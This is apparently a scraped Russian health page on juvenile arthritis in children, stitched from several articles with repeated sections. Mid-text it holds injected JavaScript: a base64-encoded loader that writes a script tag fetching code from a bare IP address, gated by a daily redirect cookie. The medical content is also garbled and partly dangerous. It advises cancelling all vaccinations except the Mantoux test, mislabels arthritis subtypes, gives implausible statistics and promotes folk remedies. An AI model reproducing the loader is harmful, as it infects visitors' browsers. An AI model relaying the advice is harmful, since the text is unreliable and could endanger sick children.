Ювенильный идиопатический артрит в вопросах и ответах. Диагностика

Под этим заболеванием объединены несколько недугов, протекающих с суставным синдромом и возникших в детском возрасте. По статистике, в настоящее время этому недугу подвержен каждый тысячный ребенок в стране. А значит, лечение артрита у детей является не только медицинской, но и важной социальной задачей. Ведь это заболевание приводит к высокому проценту инвалидности юных пациентов.

Методы лечения

Симптомы и методики лечения артритов коленных суставов у детей взаимосвязаны. Основными целями борьбы с недугом является улучшение общего самочувствия маленького пациента, восстановление двигательных функций и пресечение возможного развития рецидивов болезни.

В числе задействуемых способов — классическая и нетрадиционная медицина.

Терапия заболеваний проводится в условиях медклиники и амбулаторно. Длительный период восстановления обязательно включает регулярное посещение курортов и санаториев.

Лекарственные препараты для лечения

Для купирования симптомов недуга назначаются препараты различных групп. Основу составляют короткие курсы противовоспалительных лекарств (Ибуклина), анальгетиков, глюкокортикостероидов (Преднизолона) и жаропонижающих. При выявлении инфекционного или реактивного артрита используются антимикробные медикаменты; ювенального ревматоидного вида недуга — необходимые противоревматические средства (Метотрексат); аллергического — антигистамины.

Местно задействуются линименты, мази.

Дозирование и длительность лечения определяет только врач, учитывающий:

  • состояние пациента;
  • форму и вид болезни;
  • чувствительность патогенов к антибиотикам.

Протяженность медикаментозной терапии варьируется от 2 недель до 1 месяца.

Запрещается задействовать медицинские товары без предварительной консультации с доктором.

Народные методы лечения

Среди дополнительных способов пресечения болезни — рецепты народной медицины. Рекомендуется использовать компрессы и отвары, изготовленные на основе сырья лекарственных растений.

В числе популярных схем лечения:

  1. Ванны из хвои ели. Молодые побеги заливают кипятком, настаивают 30 минут, и, разбавив холодной водой до комфортной температуры, используют полученный отвар для купания. Процедуры проводятся по полчаса 2 р./нед.
  2. Льняные компрессы. В шерстяную ткань помещают небольшое количество горячего семени льна, прикладывают к затронутой поражением области.
  3. Капустное обертывание. Лист растения согревают на пару, смазывают медом, и, поместив его на сустав, фиксируют бинтом, теплым полотенцем.

Для прогревания пораженных суставов при артрите применяют горчичники; снимает воспаление смесь тертой редьки и хрена. Облегчить состояние больного можно и при помощи обычных солевых ванночек.

Лечение артрита грязями

Пелоиды используют местно, в виде аппликаций. Минимальная длительность 1 процедуры — 15 минут. Особенностью лечения является отсроченное проявление эффекта (спустя 10-14 дней после окончания курса).

Мануальная терапия и иглоукалывания

Специальные техники, выполняемые мануальным терапевтом и врачом-рефлексотерапевтом, позволяют снять боль и дискомфорт. Эффективность методик подтверждена многолетними исследованиями.

Важно посещать только квалифицированного специалиста. Некачественно проведенные манипуляции могут привести к ухудшению самочувствия.

Физиотерапия и лечебная гимнастика

К физиотерапевтическим процедурам относятся озокеритные, парафиновые аппликации, электрофорез, УВЧ-методика, магнитотерапия. Перечисленные вспомогательные способы лечения улучшают состояние тканей, снижают воспаление, ускоряют выздоровление.

Комплекс упражнений лечебной физкультуры, разработанный специалистом с учетом индивидуальных особенностей пациента, помогает укреплять мышцы и восстанавливать двигательные функции суставов.

Хирургическое лечение

Оперативное вмешательство проводится при выявлении острого гнойного воспаления. Манипуляции осуществляются в три этапа:

  • сустав прокалывается;
  • экссудат и гной эвакуируются;
  • полость промывается с помощью антисептиков.

Метод задействуется при наличии суставных деформаций, отсутствии эффекта от консервативных способов терапии.

Читайте также:  Артроскопия коленного сустава - как она проводится и сколько длится

Синдром Стилла

rnСиндромом Стилла называют тяжелую форму хронического ювенального артрита. Признаками данного синдрома являются повышенная температура и сильные приступы озноба. У детей появляется боль в мышцах и суставах, на коже возникают бледно-розовые высыпания, вызывающие зуд.

Синдром Стилла

Наблюдается увеличение печени, селезенки, лимфатических узлов. Спустя несколько недель после возникновения симптоматики заболевания (в виде поражения внутренних органов) начинается симметричное поражение суставов, при этом исчезают начальные симптомы.

Профилактиктические мероприятия

Так как точные причины ювенильного артрита в детском и подростковом возрасте до сих пор до конца не определены, конкретных мер профилактики тоже не существует. Единственный способ предотвратить рецидив заболевания – снизить известные медицине факторы риска. Правила сравнительно простые:

  • не допускать, чтобы больной перегревался или переохлаждался;
  • избегать изменения климатического пояса;
  • оградить больного от инфекций, при их возникновении своевременно лечить;
  • отменить все прививки, кроме Манту,
  • регулярно проводить лабораторные исследования крови;

Кроме того, однажды переболевший ювенильным артритом должен постоянно находиться под наблюдением врача-ревматолога и при малейшем подозрении на обострение направляться в стационар. Важно не пропустить момент, когда ребенок:

  1. во время активности щадит ножку или ручку;
  2. жалуется на боли в конечностях;
  3. один из суставов изменился (припух, покраснел, болит при прикосновении).
Профилактиктические мероприятия

Во всех этих случаях обязательно нужно обратиться к педиатру или ревматологу.

Ювенильный артрит вылечить полностью чаще всего не получается. При своевременном и регулярном лечении периоды ремиссии могут быть достаточно длительными, чтобы не исключать возможность учиться и работать. Если течение заболевания отличается частыми рецидивами, активность жизни снижается, человек рано превращается в инвалида. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Ювенильный артрит у детей: симптомы и лечение ювенильного артрита у ребенка с прогнозом на будущее

Рекомендации ортопеда и ревматолога…

Ювенильный артрит (ЮА) встречается редко и диагностируется у детей до 16 лет, чаще от года до 4-х лет. Хроническим воспалительным ревматоидным заболеванием суставов чаще болеют девочки.

Заподозрить признаки артрита у маленького ребенка сложно, поскольку припухлость сустава не всегда заметна. Дети не могут жаловаться на боль, они капризничают и отказываются от пищи. Если они начинают прихрамывать или не дают ручки, не хотят играть, скованы по утрам — это можно расценивать в качестве первых признаков болезни.

Ювенильный артрит чаще всего диагностируется в дошкольном возрасте

Возможные причины и следствия развития артрита

информация для прочтения

В результате многолетних исследований ученые не смогли выработать единой гипотезы, объясняющей этиологию болезни. Ранее связывали ювенильный артрит у детей с воздействием вирусов Эпштейн-Барра, стрептококков, стафилококков и иных инфекционных агентов. Однако лабораторными и клиническими тестами эта связь не была подтверждена.

Считается, что ювенильный ревматоидный артрит у детей является полиэтиологическим заболеванием. Не исключают наличие генетической предрасположенности, особенностей иммунной системы, влияние перенесенных вирусных инфекций.

Важно! ЮА — одно из заболеваний, грозящих инвалидизацией пациента. Следствием недуга может стать развитие более тяжелой ревматоидной патологии, анкилозирующий спондилит, обездвиживание ребенка.

Ювенильный хронический артрит замедляет физическое развитие детей: нарушает рост суставов в зоне поражения, нижняя челюсть остается недоразвитой, пальцы бывают слишком короткими или длинными.

ЮА у детей на поздних стадиях становится причиной поражения глаз: уевита, слабо выраженного конъюнктивита, эписклерита, сухого кератоконъюнктивита.

Ювенильный ревматоидный артрит вызывет воспаление синовиальных оболочек сустава

Примечание. Ювенильный идиопатический артрит приводит к развитию слепоты у 15% детей, к инвалидности — у 1-3%, к острому уретриту — у 12-30% детей.

Читатели часто изучают вместе с этим материалом:

  1. Как распознать болезнь Стилла у взрослых и детей
  2. Правильное питание в борьбе с развитием артрита суставов

По характеру поражения и степени распространения ювенильный артрит бывает:

  1. Олигосуставный хронический ревматоидный (полиартикулярный). Встречается у мальчиков до 5 лет в 50% от всех случаев артрита. Первые полгода поражаются 5 и более суставов, в первую очередь крупные суставы (колени), повышенная температура отсутствует. Возможны проблемы со зрением. Длительная или полная ремиссия может наступить после длительного лечения (3-4 года).
  2. Юношеский спондилоартрит. Встречается у подростков 10-16 л (16%). Распознается по болевым симптомам и поражениям суставов нижних конечностей.
  3. Системный острый ЮИА в сопровождении кожных высыпаний, температуры и лихорадки. Встречается у дошкольников, подростков (10%) и редко у взрослых. Воспалением поражаются 5 и более суставов и внутренние органы:
  • увеличивается печень, селезенка или лимфатические узлы;
  • воспаляется оболочка сердца (перикардит) или легких (плеврит).
  1. Многосуставный ЮИА с поражением мышц и сухожилий. Встречается редко и чаще у девочек (5%). При лечении используются мощные противовоспалительные средства и иммунодепрессанты.
  2. Псориартрический артрит на фоне псориаза — воспалительного заболевания кожи с чешуйчатыми бляшками на коже в виде ярко-красных или розоватых округлых папул. Высыпания предшествуют артриту или появляются при развитии воспаления.
Читайте также:  Артрит коленного сустава у детей: причины, симптомы и лечение

Редактор нашёл для вас ещё два интересных материала:

  1. Массаж и народные средства при лечении артрита пальцев рук
  2. Методы блокады болей при периартрите суставов

Отмечают ревматоидный серонегативный ювенильный артрит и серопозитивный. При серопозитивном артрите обнаруживают в крови ревматоидный фактор, при серонегативном он отсутствует.

Симптомы серопозитивного ювенильного ревматоидного артрита у детей проявляются:

  • медленным началом;
  • наличием в крови РФ;
  • на начальном этапе поражением мелких суставов, позднее — крупных;
  • утренней скованностью в зависимости от стадии воспалительного процесса, длящейся в течение 15 минут или нескольких часов;
  • усиленной потливостью;
  • внесуставными поражениями: ревматоидными узелками, увеличением печени, лимфоузлов, селезенки.
  • поражением легких, одышкой;

Диагностика ювенильного хронического артрита у детей

Диагностировать ювенильный артрит у детей врачу-ревматологу помогает осмотр пациента, опрос его и его родителей, а также лабораторные и инструментальные исследования.

В числе первых проводятся следующие анализы:

  • общий и биохимический анализ крови;
  • иммунологический анализ;
  • анализ на ревматоидный фактор;
  • анализ на наличие антинуклеарного фактора.

Для дифференциальной диагностики и выявления висцеральных осложнений ювенильного артрита у детей (системных поражений) может быть назначена компьютерная, магнитно-резонансная томография, электрокардиография, УЗИ, рентген суставов и грудной клетки, туберкулиновая проба. Все дети проходят обязательный осмотр у офтальмолога при помощи щелевой лампы.

Клинически и лабораторно детский ревматоидный артрит отличается от взрослого и диагностируется преимущественно в возрасте до 4 лет.

Синдром Стилла

\r\nСиндромом Стилла называют тяжелую форму хронического ювенального артрита. Признаками данного синдрома являются повышенная температура и сильные приступы озноба. У детей появляется боль в мышцах и суставах, на коже возникают бледно-розовые высыпания, вызывающие зуд. Наблюдается увеличение печени, селезенки, лимфатических узлов. Спустя несколько недель после возникновения симптоматики заболевания (в виде поражения внутренних органов) начинается симметричное поражение суставов, при этом исчезают начальные симптомы. В результате воспалительного процесса происходит деформация суставов, ограничение их подвижности и крайнем случае происходит анкилоз суставов, то есть их полная неподвижность.\r\n\r\n \r\n

Народные методы лечения

В народной медицине имеется множество способов лечения воспалительных процессов в суставах. Среди народных средств, которыми можно облегчить состояние при таком заболевании, пользуются популярностью ванны с травяными сборами, натирания мазями на основе трав, а также питье настоев. Обычно улучшение после применения этих методов наступает через 2-3 недели. Но стоит помнить, что народная медицина не панацея, а потому ее стоит совмещать с традиционными методами лечения.

Питье настоев, прием ванн и все остальные методы следует использовать и после того, как наступает улучшение здоровья. Это поможет поддержать суставы в рабочем состоянии и избежать обострения заболевания. А в осенне-весенний период начинать прием настоев и сборов следует обязательно.

Стоит усвоить и главное правило: на любую, даже самую полезную траву может быть аллергия, а потому следует предварительно проконсультироваться со специалистом, чтобы избежать осложнений.

Народные методы лечения

Лечение реактивного артрита у детей нетрадиционными методами

Кроме традиционных способов лечения, увеличить эффективность можно дополнив их нетрадиционными методами. Но проводить их стоит только после консультации с лечащим врачом.

  • Весьма эффективна для снятия воспаления и отеков глина (белая, голубая и розовая).
  • Применять ее нужно для лечения детей старше трех лет.
  • Из глины готовят теплые компрессы на больной сустав, который укрывается целлофаном и тканью из шерсти.
Читайте также:  Бросает в жар и пот ночью или днем: причины у женщин и мужчин

Детям старше шести лет можно делать компрессы из отвара чертополоха. Для приготовления отвара понадобится 1 ст. ложка измельченной травы и 200 мл кипятка. Полученную смесь держат на огне около 30 минут, затем нужно ее настоять минут 15, процедить и в теплом настое смочить отрезок ткани. Наложите его на больной сустав, укройте теплым одеялом или шерстяным пледом.

  • Достаточно популярным методом лечения артрита являются горчичники.
  • Их наклеивают на больное место, лучше всего на ночь.
  • Таким образом, сустав прогревается, и на утро больной избавлен от боли.

Также от артрита помогают хвойные ванны. Свежесобранные еловые ветки заваривают кипятком, настаивают 15-20 минут, затем принимают теплую ванну примерно 30 минут. После быстро растираются и в течение часа лежат в теплой постели, под одеялом и шерстяным пледом.

Народные методы лечения

Кроме того, можно проводить самомассаж эфирными маслами:

  1. Сосны или ели — обладают антисептическими свойствами, уменьшают воспаление;
  2. Розмарина — повышает кровообращение, устраняет воспаление;
  3. Эвкалипта — способствует разжижению крови, улучшает кровообращение в сосудах;
  4. Майорана — смягчает и расслабляет хрустящие и затвердевшие суставы, снимает воспаление, устраняет боль.

Как лечить артрит у детей — смотрите на видео:

Комплексное лечение

Только комплексное лечение ювенильного артрита у детей позволяет победить негативные симптомы болезни. Лечебный комплекс включает прием медикаментов, лечебную физкультуру, физиотерапию, соблюдение диеты. Применимая терапия выполняет одновременно несколько задач:

  • Устранение болезненного дискомфорта;
  • Купирование воспалительного процесса;
  • Сохранение функциональности соединений;
  • Достижение устойчивой положительной динамики;
  • Повышение качества жизни пациентов.

В лечении ювенильного ревматоидного артрита применяют несколько групп медицинских препаратов, выполняющих определенную функцию.

  1. Вирусный артрит у детей симптомы и лечение
  2. Ювенильный ревматоидный артрит у детей
  3. Ювенильный хронический артрит у детей
  4. Артрит ВНЧС: симптомы и лечение воспаления височно-нижнечелюстного сустава

Иммуносупрессивная терапия

Данной разновидности терапии отводится ключевая роль в лечении ревматоидного артрита. Как правило, именно подбор препарата, время и регулярность лечения, оказывает решающее значение в процессе лечения.

Иммуносупрессивная терапия начинается сразу после установки диагноза. Она продолжительна и непрерывна. Отмена препарата производится при достижении как минимум двухлетней клинико-лабораторной ремиссии. При отмене иммунодепрессантов, обычно, наблюдается обострение.

Главные препараты при терапии ЮРА: циклоспорин А, лефлуномид, сульфасалазин, метотрексат. Эти средства весьма эффективны, неплохо переносятся, практически не вызывая побочных эффектов даже в случае многолетнего приема.

Такие препараты как хлорамбуцил, азатиоприн, циклофосфамид применяют очень редко из-за высокой частоты побочных эффектов.

D-пеницилламин, гидроксихлорохин, соли золота почти не используются из-за низкой эффективности.

Лечение иммунодепрессантами сопровождается проведением следующих анализов:

  • общий анализ крови (эритроциты, гемоглобин, тромбоциты, СОЭ, лейкоциты, лейкоцитарная формула);
  • анализ биохимических показателей (каждые 2 недели).

Выраженные признаки болезни

Основные симптомы ювенильного артрита таковы:

  • Появляется отечность в месте воспаления;
  • Ребенок чувствует боль в суставе;
  • Увеличивается температура тела, появляется озноб;
  • Суставы перестают двигаться из-за сращения их поверхностей;
  • На теле будут появляться разные высыпания;
  • Увеличится размер лимфоузлов, печени, селезенки.

Болезнь сопровождается ярко выраженной мышечной атрофией, которые располагаются рядом с пораженным суставом, общей недомоганием, задержкой в развитии.